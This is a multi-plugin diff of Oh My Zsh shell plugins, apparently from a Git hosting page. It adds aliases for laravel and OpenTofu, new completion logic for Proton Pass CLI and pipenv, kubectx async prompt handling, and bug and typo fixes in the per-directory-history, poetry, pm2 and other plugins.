&& [[ -n "${_OMZ_ASYNC_OUTPUT[_omz_kubectx_prompt_info]-}" ]]; then
|
||||||
|
echo -n "${_OMZ_ASYNC_OUTPUT[_omz_kubectx_prompt_info]}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
local _style
|
||||||
|
if zstyle -t ':omz:alpha:plugins:kubectx' async-prompt \
|
||||||
|
|| { is-at-least 5.0.6 && zstyle -T ':omz:alpha:plugins:kubectx' async-prompt }; then
|
||||||
|
function _defer_async_kubectx_register() {
|
||||||
|
case "${PS1}:${PS2}:${PS3}:${PS4}:${RPROMPT-}:${RPS1-}:${RPS2-}:${RPS3-}:${RPS4-}" in
|
||||||
|
*(\$\(kubectx_prompt_info\)|\`kubectx_prompt_info\`)*)
|
||||||
|
_omz_register_handler _omz_kubectx_prompt_info
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
|
||||||
|
add-zsh-hook -d precmd _defer_async_kubectx_register
|
||||||
|
unset -f _defer_async_kubectx_register
|
||||||
|
}
|
||||||
|
|
||||||
|
autoload -Uz add-zsh-hook
|
||||||
|
precmd_functions=(_defer_async_kubectx_register $precmd_functions)
|
||||||
|
elif zstyle -s ':omz:alpha:plugins:kubectx' async-prompt _style && [[ $_style == "force" ]]; then
|
||||||
|
_omz_register_handler _omz_kubectx_prompt_info
|
||||||
|
else
|
||||||
|
function kubectx_prompt_info() {
|
||||||
|
_omz_kubectx_prompt_info
|
||||||
|
}
|
||||||
|
fi
|
||||||
|
|||||||
@@ -10,6 +10,7 @@ plugins=(... laravel)
|
|||||||
|:-:|:-:|
|
|:-:|:-:|
|
||||||
| `artisan` | `php artisan` |
|
| `artisan` | `php artisan` |
|
||||||
| `pas` | `php artisan serve` |
|
| `pas` | `php artisan serve` |
|
||||||
|
| `pad` | `php artisan dev` |
|
||||||
| `pats` | `php artisan test` |
|
| `pats` | `php artisan test` |
|
||||||
|
|
||||||
## Database
|
## Database
|
||||||
|
|||||||
@@ -4,6 +4,7 @@ alias bob='php artisan bob::build'
|
|||||||
|
|
||||||
# Development
|
# Development
|
||||||
alias pas='php artisan serve'
|
alias pas='php artisan serve'
|
||||||
|
alias pad='php artisan dev'
|
||||||
alias pats='php artisan test'
|
alias pats='php artisan test'
|
||||||
|
|
||||||
# Database
|
# Database
|
||||||
|
|||||||
@@ -23,8 +23,8 @@ lwd() {
|
|||||||
#
|
#
|
||||||
# - This isn't the first time the plugin is loaded
|
# - This isn't the first time the plugin is loaded
|
||||||
# - We're not in the $HOME directory (e.g. if terminal opened a different folder)
|
# - We're not in the $HOME directory (e.g. if terminal opened a different folder)
|
||||||
[[ -z "$ZSH_LAST_WORKING_DIRECTORY" ]] || return
|
[[ -z "$ZSH_LAST_WORKING_DIRECTORY" ]] || return 0
|
||||||
[[ "$PWD" == "$HOME" ]] || return
|
[[ "$PWD" == "$HOME" ]] || return 0
|
||||||
|
|
||||||
if lwd 2>/dev/null; then
|
if lwd 2>/dev/null; then
|
||||||
ZSH_LAST_WORKING_DIRECTORY=1
|
ZSH_LAST_WORKING_DIRECTORY=1
|
||||||
|
|||||||
@@ -8,7 +8,7 @@ alias puo="sudo port upgrade outdated"
|
|||||||
alias pup="sudo port selfupdate && sudo port upgrade outdated"
|
alias pup="sudo port selfupdate && sudo port upgrade outdated"
|
||||||
|
|
||||||
port-livecheck-maintainer() {
|
port-livecheck-maintainer() {
|
||||||
(( ${+commands[port]} == 0 )) || {
|
(( ${+commands[port]} )) || {
|
||||||
print -- "port: not found" >&2
|
print -- "port: not found" >&2
|
||||||
return 1
|
return 1
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -30,14 +30,20 @@ function tofu_version_prompt_info() {
|
|||||||
alias tt='tofu'
|
alias tt='tofu'
|
||||||
alias tta='tofu apply'
|
alias tta='tofu apply'
|
||||||
alias tta!='tofu apply -auto-approve'
|
alias tta!='tofu apply -auto-approve'
|
||||||
|
alias ttap='tofu apply -parallelism=1'
|
||||||
|
alias ttapp='tofu apply tfplan'
|
||||||
alias ttc='tofu console'
|
alias ttc='tofu console'
|
||||||
alias ttd='tofu destroy'
|
alias ttd='tofu destroy'
|
||||||
alias ttd!='tofu destroy -auto-approve'
|
alias ttd!='tofu destroy -auto-approve'
|
||||||
alias ttf='tofu fmt'
|
alias ttf='tofu fmt'
|
||||||
alias ttfr='tofu fmt -recursive'
|
alias ttfr='tofu fmt -recursive'
|
||||||
alias tti='tofu init'
|
alias tti='tofu init'
|
||||||
|
alias ttir='tofu init -reconfigure'
|
||||||
|
alias ttiu='tofu init -upgrade'
|
||||||
|
alias ttiur='tofu init -upgrade -reconfigure'
|
||||||
alias tto='tofu output'
|
alias tto='tofu output'
|
||||||
alias ttp='tofu plan'
|
alias ttp='tofu plan'
|
||||||
|
alias ttpo='tofu plan -out tfplan'
|
||||||
alias ttv='tofu validate'
|
alias ttv='tofu validate'
|
||||||
alias tts='tofu state'
|
alias tts='tofu state'
|
||||||
alias ttsh='tofu show'
|
alias ttsh='tofu show'
|
||||||
|
|||||||
@@ -0,0 +1,11 @@
|
|||||||
|
# Proton Pass CLI plugin
|
||||||
|
|
||||||
|
This plugin adds completions for [Proton Pass CLI](https://protonpass.github.io/pass-cli/).
|
||||||
|
|
||||||
|
To use it, add `pass-cli` to the plugins array in your zshrc file:
|
||||||
|
|
||||||
|
```zsh
|
||||||
|
plugins=(... pass-cli)
|
||||||
|
```
|
||||||
|
|
||||||
|
This plugin does not add any aliases.
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
# Autocompletion for Proton Pass CLI (pass-cli)
|
||||||
|
if (( ! $+commands[pass-cli] )); then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
# If the completion file doesn't exist yet, we need to autoload it and
|
||||||
|
# bind it to `pass-cli`. Otherwise, compinit will have already done that.
|
||||||
|
if [[ ! -f "$ZSH_CACHE_DIR/completions/_pass-cli" ]]; then
|
||||||
|
typeset -g -A _comps
|
||||||
|
autoload -Uz _pass-cli
|
||||||
|
_comps[pass-cli]=_pass-cli
|
||||||
|
fi
|
||||||
|
|
||||||
|
pass-cli completions zsh >| "$ZSH_CACHE_DIR/completions/_pass-cli" &|
|
||||||
@@ -91,13 +91,14 @@ bindkey -M vicmd $PER_DIRECTORY_HISTORY_TOGGLE per-directory-history-toggle-hist
|
|||||||
#-------------------------------------------------------------------------------
|
#-------------------------------------------------------------------------------
|
||||||
|
|
||||||
_per_directory_history_directory="$HISTORY_BASE${PWD:A}/history"
|
_per_directory_history_directory="$HISTORY_BASE${PWD:A}/history"
|
||||||
|
_per_directory_history_global="$HISTFILE"
|
||||||
|
|
||||||
function _per-directory-history-change-directory() {
|
function _per-directory-history-change-directory() {
|
||||||
_per_directory_history_directory="$HISTORY_BASE${PWD:A}/history"
|
_per_directory_history_directory="$HISTORY_BASE${PWD:A}/history"
|
||||||
mkdir -p ${_per_directory_history_directory:h}
|
mkdir -p ${_per_directory_history_directory:h}
|
||||||
if [[ $_per_directory_history_is_global == false ]]; then
|
if [[ $_per_directory_history_is_global == false ]]; then
|
||||||
#save to the global history
|
#save to the global history
|
||||||
fc -AI $HISTFILE
|
fc -AI "$_per_directory_history_global"
|
||||||
#save history to previous file
|
#save history to previous file
|
||||||
local prev="$HISTORY_BASE${OLDPWD:A}/history"
|
local prev="$HISTORY_BASE${OLDPWD:A}/history"
|
||||||
mkdir -p ${prev:h}
|
mkdir -p ${prev:h}
|
||||||
@@ -125,10 +126,9 @@ function _per-directory-history-addhistory() {
|
|||||||
if [[ -o share_history ]] || \
|
if [[ -o share_history ]] || \
|
||||||
[[ -o inc_append_history ]] || \
|
[[ -o inc_append_history ]] || \
|
||||||
[[ -o inc_append_history_time ]]; then
|
[[ -o inc_append_history_time ]]; then
|
||||||
fc -AI $HISTFILE
|
fc -AI "$_per_directory_history_global"
|
||||||
fc -AI $_per_directory_history_directory
|
fc -AI $_per_directory_history_directory
|
||||||
fi
|
fi
|
||||||
fc -p $_per_directory_history_directory
|
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -147,12 +147,13 @@ function _per-directory-history-precmd() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function _per-directory-history-set-directory-history() {
|
function _per-directory-history-set-directory-history() {
|
||||||
fc -AI $HISTFILE
|
fc -AI "$_per_directory_history_global"
|
||||||
local original_histsize=$HISTSIZE
|
local original_histsize=$HISTSIZE
|
||||||
HISTSIZE=0
|
HISTSIZE=0
|
||||||
HISTSIZE=$original_histsize
|
HISTSIZE=$original_histsize
|
||||||
if [[ -e "$_per_directory_history_directory" ]]; then
|
if [[ -e "$_per_directory_history_directory" ]]; then
|
||||||
fc -R "$_per_directory_history_directory"
|
fc -R "$_per_directory_history_directory"
|
||||||
|
fc -p "$_per_directory_history_directory"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -161,8 +162,9 @@ function _per-directory-history-set-global-history() {
|
|||||||
local original_histsize=$HISTSIZE
|
local original_histsize=$HISTSIZE
|
||||||
HISTSIZE=0
|
HISTSIZE=0
|
||||||
HISTSIZE=$original_histsize
|
HISTSIZE=$original_histsize
|
||||||
if [[ -e "$HISTFILE" ]]; then
|
if [[ -e "$_per_directory_history_global" ]]; then
|
||||||
fc -R "$HISTFILE"
|
fc -R "$_per_directory_history_global"
|
||||||
|
fc -p "$_per_directory_history_global"
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ plugins=(... pipenv ...)
|
|||||||
|
|
||||||
## Features
|
## Features
|
||||||
|
|
||||||
- Adds completion for pipenv
|
- Adds completion for pipenv ([install the `argcomplete` package to get it working with pipenv >= 2026.5.0](https://pipenv.pypa.io/en/latest/shell.html#shell-completion))
|
||||||
- Auto activates and deactivates pipenv shell
|
- Auto activates and deactivates pipenv shell
|
||||||
- Adds short aliases for common pipenv commands
|
- Adds short aliases for common pipenv commands
|
||||||
- `pch` is aliased to `pipenv check`
|
- `pch` is aliased to `pipenv check`
|
||||||
@@ -29,6 +29,18 @@ plugins=(... pipenv ...)
|
|||||||
- `pvenv` is aliased to `pipenv --venv`
|
- `pvenv` is aliased to `pipenv --venv`
|
||||||
- `ppy` is aliased to `pipenv --py`
|
- `ppy` is aliased to `pipenv --py`
|
||||||
|
|
||||||
|
## Cache
|
||||||
|
|
||||||
|
This plugin caches the Pipenv version to avoid running `pipenv --version` on every shell startup. The cache is automatically refreshed asynchronously when the plugin is loaded, which is usually when you start a new terminal session.
|
||||||
|
|
||||||
|
For legacy Pipenv versions, the generated completion script is also cached.
|
||||||
|
|
||||||
|
The cache is stored at:
|
||||||
|
|
||||||
|
- `$ZSH_CACHE_DIR/pipenv_version` version of Pipenv, used to choose between argcomplete-based completion and legacy Click-based completion.
|
||||||
|
|
||||||
|
- `$ZSH_CACHE_DIR/completions/_pipenv` legacy Click-based completion script.
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
### Shell activation
|
### Shell activation
|
||||||
|
|||||||
@@ -2,15 +2,49 @@ if (( ! $+commands[pipenv] )); then
|
|||||||
return
|
return
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# If the completion file doesn't exist yet, we need to autoload it and
|
# Compatibility note:
|
||||||
# bind it to `pipenv`. Otherwise, compinit will have already done that.
|
# pipenv < 2026.5.0 used Click-based shell completion driven by the
|
||||||
if [[ ! -f "$ZSH_CACHE_DIR/completions/_pipenv" ]]; then
|
# _PIPENV_COMPLETE environment variable.
|
||||||
typeset -g -A _comps
|
#
|
||||||
autoload -Uz _pipenv
|
# pipenv >= 2026.5.0 removed this mechanism and switched to argcomplete-based
|
||||||
_comps[pipenv]=_pipenv
|
# completion using register-python-argcomplete instead.
|
||||||
|
|
||||||
|
autoload -Uz is-at-least
|
||||||
|
|
||||||
|
_pipenv_version_cache="$ZSH_CACHE_DIR/pipenv_version"
|
||||||
|
|
||||||
|
if [[ -f "$_pipenv_version_cache" ]]; then
|
||||||
|
_pipenv_version="$(< "$_pipenv_version_cache" 2>/dev/null)"
|
||||||
|
else
|
||||||
|
_pipenv_version="${$(pipenv --version 2>/dev/null)#pipenv, version }"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
_PIPENV_COMPLETE=zsh_source pipenv >| "$ZSH_CACHE_DIR/completions/_pipenv" &|
|
{
|
||||||
|
_pipenv_fresh_version="${$(pipenv --version 2>/dev/null)#pipenv, version }"
|
||||||
|
[[ -n "$_pipenv_fresh_version" ]] && print -r -- "$_pipenv_fresh_version" >| "$_pipenv_version_cache"
|
||||||
|
} &|
|
||||||
|
|
||||||
|
if is-at-least 2026.5.0 "$_pipenv_version"; then
|
||||||
|
# pipenv >= 2026.5.0: argcomplete-based completion (no legacy fallback)
|
||||||
|
if (( $+commands[register-python-argcomplete] )); then
|
||||||
|
autoload -Uz bashcompinit
|
||||||
|
bashcompinit
|
||||||
|
|
||||||
|
eval "$(register-python-argcomplete pipenv)"
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
# legacy Click-based completion via _PIPENV_COMPLETE
|
||||||
|
|
||||||
|
# If the completion file doesn't exist yet, we need to autoload it and
|
||||||
|
# bind it to `pipenv`. Otherwise, compinit will have already done that.
|
||||||
|
if [[ ! -f "$ZSH_CACHE_DIR/completions/_pipenv" ]]; then
|
||||||
|
typeset -g -A _comps
|
||||||
|
autoload -Uz _pipenv
|
||||||
|
_comps[pipenv]=_pipenv
|
||||||
|
fi
|
||||||
|
|
||||||
|
_PIPENV_COMPLETE=zsh_source pipenv >| "$ZSH_CACHE_DIR/completions/_pipenv" &|
|
||||||
|
fi
|
||||||
|
|
||||||
if zstyle -T ':omz:plugins:pipenv' auto-shell; then
|
if zstyle -T ':omz:plugins:pipenv' auto-shell; then
|
||||||
# Automatic pipenv shell activation/deactivation
|
# Automatic pipenv shell activation/deactivation
|
||||||
@@ -34,6 +68,7 @@ if zstyle -T ':omz:plugins:pipenv' auto-shell; then
|
|||||||
fi
|
fi
|
||||||
fi
|
fi
|
||||||
}
|
}
|
||||||
|
|
||||||
autoload -U add-zsh-hook
|
autoload -U add-zsh-hook
|
||||||
add-zsh-hook chpwd _togglePipenvShell
|
add-zsh-hook chpwd _togglePipenvShell
|
||||||
_togglePipenvShell
|
_togglePipenvShell
|
||||||
|
|||||||
+1
-1
@@ -314,7 +314,7 @@ _pm2_subcommands() {
|
|||||||
(( $+functions[_pm2_id_names] )) ||
|
(( $+functions[_pm2_id_names] )) ||
|
||||||
_pm2_id_names() {
|
_pm2_id_names() {
|
||||||
local app_list=$(pm2 list -m)
|
local app_list=$(pm2 list -m)
|
||||||
local -a names=(${(@f)"$(echo $app_list | awk '/^\+---/{sub("+--- ", ""); print}')"})
|
local -a names=(${(@f)"$(echo $app_list | awk '/^\+---/{sub("\\+--- ", ""); print}')"})
|
||||||
local -a ids=(${(@f)"$(echo $app_list | awk '/^pm2 id/{sub("pm2 id :", ""); print}')"})
|
local -a ids=(${(@f)"$(echo $app_list | awk '/^pm2 id/{sub("pm2 id :", ""); print}')"})
|
||||||
|
|
||||||
if (( ${#ids} > 0 )); then
|
if (( ${#ids} > 0 )); then
|
||||||
|
|||||||
@@ -15,7 +15,12 @@ _togglePoetryShell() {
|
|||||||
# Activate the environment if in a Poetry directory and no environment is currently active
|
# Activate the environment if in a Poetry directory and no environment is currently active
|
||||||
if [[ $in_poetry_dir -eq 1 ]] && [[ $poetry_active -ne 1 ]]; then
|
if [[ $in_poetry_dir -eq 1 ]] && [[ $poetry_active -ne 1 ]]; then
|
||||||
venv_dir=$(poetry env info --path 2>/dev/null)
|
venv_dir=$(poetry env info --path 2>/dev/null)
|
||||||
if [[ -n "$venv_dir" ]]; then
|
# Handle case where poetry returns "." for in-project virtual environments
|
||||||
|
if [[ "$venv_dir" == "." ]]; then
|
||||||
|
venv_dir="$PWD/.venv"
|
||||||
|
fi
|
||||||
|
# Only proceed if venv_dir is set and the activate script exists
|
||||||
|
if [[ -n "$venv_dir" && -f "${venv_dir}/bin/activate" ]]; then
|
||||||
export poetry_active=1
|
export poetry_active=1
|
||||||
export poetry_dir="$PWD"
|
export poetry_dir="$PWD"
|
||||||
source "${venv_dir}/bin/activate"
|
source "${venv_dir}/bin/activate"
|
||||||
|
|||||||
@@ -10,27 +10,27 @@ plugins=(... poetry)
|
|||||||
|
|
||||||
## Aliases
|
## Aliases
|
||||||
|
|
||||||
| Alias | Command | Description
|
| Alias | Command | Description |
|
||||||
|:----- |--------------------------------------------------- |:--------------------------------------------------------------------------------------- |
|
|:----- |--------------------------------------------------- |:--------------------------------------------------------------------------------------- |
|
||||||
| pad | `poetry add` | Add packages to `pyproject.toml` and install them |
|
| pad | `poetry add` | Add packages to `pyproject.toml` and install them |
|
||||||
| pbld | `poetry build` | Build the source and wheels archives |
|
| pbld | `poetry build` | Build the source and wheels archives |
|
||||||
| pch | `poetry check` | Validate the content of the `pyproject.toml` and its consistency with the `poetry.lock` |
|
| pch | `poetry check` | Validate the content of the `pyproject.toml` and its consistency with the `poetry.lock` |
|
||||||
| pcmd | `poetry list` | Display all the available Poetry commands |
|
| pcmd | `poetry list` | Display all the available Poetry commands |
|
||||||
| pconf | `poetry config --list` | Allow you to edit poetry config settings and repositories |
|
| pconf | `poetry config --list` | Allow you to edit poetry config settings and repositories |
|
||||||
| pexp | `poetry export --without-hashes > requirements.txt | Export the lock file to `requirements.txt` |
|
| pexp | `poetry export --without-hashes > requirements.txt` | Export the lock file to `requirements.txt` |
|
||||||
| pin | `poetry init` | Create a `pyproject.toml` interactively |
|
| pin | `poetry init` | Create a `pyproject.toml` interactively |
|
||||||
| pinst | `poetry install` | Read the `pyproject.toml`, resolve the dependencies, and install them |
|
| pinst | `poetry install` | Read the `pyproject.toml`, resolve the dependencies, and install them |
|
||||||
| plck | `poetry lock` | Lock the dependencies in `pyproject.toml` without installing |
|
| plck | `poetry lock` | Lock the dependencies in `pyproject.toml` without installing |
|
||||||
| pnew | `poetry new` | Create a directory structure suitable for most Python projects |
|
| pnew | `poetry new` | Create a directory structure suitable for most Python projects |
|
||||||
| ppath | `poetry env info --path` | Get the path of the currently activated virtualenv` |
|
| ppath | `poetry env info --path` | Get the path of the currently activated virtualenv |
|
||||||
| pplug | `poetry self show plugins` | List all the installed Poetry plugins |
|
| pplug | `poetry self show plugins` | List all the installed Poetry plugins |
|
||||||
| ppub | `poetry publish` | Publish the builded (`poetry build` command) package to the remote repository |
|
| ppub | `poetry publish` | Publish the built (`poetry build` command) package to the remote repository |
|
||||||
| prm | `poetry remove` | Remove packages from `pyproject.toml` and uninstall them |
|
| prm | `poetry remove` | Remove packages from `pyproject.toml` and uninstall them |
|
||||||
| prun | `poetry run` | Executes the given command inside the project’s virtualenv |
|
| prun | `poetry run` | Executes the given command inside the project’s virtualenv |
|
||||||
| psad | `poetry self add` | Add the Poetry plugin and install dependencies to make it work |
|
| psad | `poetry self add` | Add the Poetry plugin and install dependencies to make it work |
|
||||||
| psh | `poetry shell` | Spawns a shell within the virtual environment. If one doesn’t exist, it will be created |
|
| psh | `poetry shell` | Spawns a shell within the virtual environment. If one doesn’t exist, it will be created |
|
||||||
| pshw | `poetry show` | List all the available dependencies |
|
| pshw | `poetry show` | List all the available dependencies |
|
||||||
| pslt | `poetry show --latest` | List lastest version of the dependencies |
|
| pslt | `poetry show --latest` | List latest version of the dependencies |
|
||||||
| psup | `poetry self update` | Update Poetry to the latest version (default) or to the specified version |
|
| psup | `poetry self update` | Update Poetry to the latest version (default) or to the specified version |
|
||||||
| psync | `poetry install --sync` | Synchronize your environment with the `poetry.lock` |
|
| psync | `poetry install --sync` | Synchronize your environment with the `poetry.lock` |
|
||||||
| ptree | `poetry show --tree` | List the dependencies as tree |
|
| ptree | `poetry show --tree` | List the dependencies as tree |
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
# Pulumi
|
# Pulumi
|
||||||
|
|
||||||
This is an **Oh My Zsh plugin** for the [**Pulumi CLI**](https://www.pulumi.com/docs/iac/cli/),
|
This is an **Oh My Zsh plugin** for the [**Pulumi CLI**](https://www.pulumi.com/docs/iac/cli/),
|
||||||
an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastucture.
|
an Infrastructure as Code (IaC) tool for building, deploying and managing cloud infrastructure.
|
||||||
|
|
||||||
This plugin provides:
|
This plugin provides:
|
||||||
|
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user